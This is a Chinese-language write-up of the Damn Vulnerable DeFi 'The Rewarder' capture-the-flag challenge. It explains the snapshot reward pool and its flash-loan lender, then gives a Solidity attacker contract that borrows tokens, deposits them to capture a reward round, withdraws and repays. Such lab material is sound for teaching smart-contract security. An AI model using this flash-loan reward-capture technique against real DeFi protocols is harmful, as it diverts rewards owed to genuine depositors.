Challenge #4 - The Rewarder#
为了系统的学习 solidity 和 foundry,我基于 foundry 测试框架重新编写 damnvulnerable-defi 的题解,欢迎交流和共建~🎉
合约#
本题涉及的合约比较多,首先介绍 ERC20Snapshot 合约
ERC20Snapshot:继承自 ERC20,通过 SnapshotId 可以追溯到每一个快照时间点的账户余额和总供应量,在 ERC20 token 的 transfer 之前会通过 beforeTransfer 来更新当前快照 ID 下的账号余额和总供应,通常用作分红、投票、空投等快照场景
这道题目中主要由 RewardToken、AccountingToken、LiquidityToken 和 TheRewarderPool 组成,它们的关系如下:
- TheRewarderPool 对外提供 deposit 和 withdraw 方法
- deposit:用户存入 liquidityToken,mint 对应份额的 AccountingToken,根据当前的快照轮次 mint 出一定数目的 rewardToken,每 5 天一个新的快照轮次
- withdraw:burn 对应份额的 AccountingToken,将用户存入的 liquidityToken 转移给用户
除此之外,本题还提供一个闪电贷合约,可用于通过闪电贷借出 liquidityToken
测试#
- 创建 alice bob charlie david 四名用户,记录为 users
- 部署 LiquidityToken FlashLoanerPool 合约,向 FlashLoanerPool 中转入 liquidityToken 数目为:TOKENS_IN_LENDER_POOL
- 部署 TheRewarderPool (连带部署 RewardToken AccountingToken)
- 遍历 users 数组,向每个用户都转入一定数目的 liquidityToken,并 deposit 到 TheRewarderPool,此时轮次为 1
- 将区块时间戳向后延长 5 天,再次遍历 user 数组,依次触发 distributeRewards,每个用户都等分到 rewardToken,此时轮次为 2
- 执行攻击脚本
- 期望当前轮次为 3,遍历 users 数组,触发 distributeRewards,每个用户分到的 rewardToken 少于原来的 1/4
- 期望 player 的 rewardToken 余额大于 0
- 期望 player 的 liquidityToken 数目为 0,FlashLoanerPool 中的 liquidityToken 数目不变
题解#
假设没有任何额外的用户操作,在下一轮次分配奖励的时候,users 数组中的四位用户将会继续评分奖励,每个用户分到的 rewardToken 为总数的 1/4
为了达到测试脚本的期望值,需要 player 参与 rewardToken 的分配,可以通过闪电贷借出 liquidityToken,deposit 到 TheRewarderPool,此时可以触发新一轮的 rewardToken 分配,再通过 withdraw 赎回 liquidityToken 并返还给 FlashLoanerPool
攻击合约代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {TheRewarderPool, RewardToken} from "../../src/the-rewarder/TheRewarderPool.sol";
import "../../src/the-rewarder/FlashLoanerPool.sol";
import "../../src/DamnValuableToken.sol";
contract Attacker {
FlashLoanerPool flashloan;
TheRewarderPool pool;
DamnValuableToken dvt;
RewardToken reward;
address internal owner;
constructor(address _flashloan,address _pool,address _dvt,address _reward){
flashloan = FlashLoanerPool(_flashloan);
pool = TheRewarderPool(_pool);
dvt = DamnValuableToken(_dvt);
reward = RewardToken(_reward);
owner = msg.sender;
}
function attack(uint256 amount) external {
flashloan.flashLoan(amount);
}
function receiveFlashLoan(uint256 amount) external{
dvt.approve(address(pool), amount);
// deposit liquidity token get reward token
pool.deposit(amount);
// withdraw liquidity token
pool.withdraw(amount);
// repay to flashloan
dvt.transfer(address(flashloan), amount);
reward.transfer(owner, reward.balanceOf(address(this)));
}
}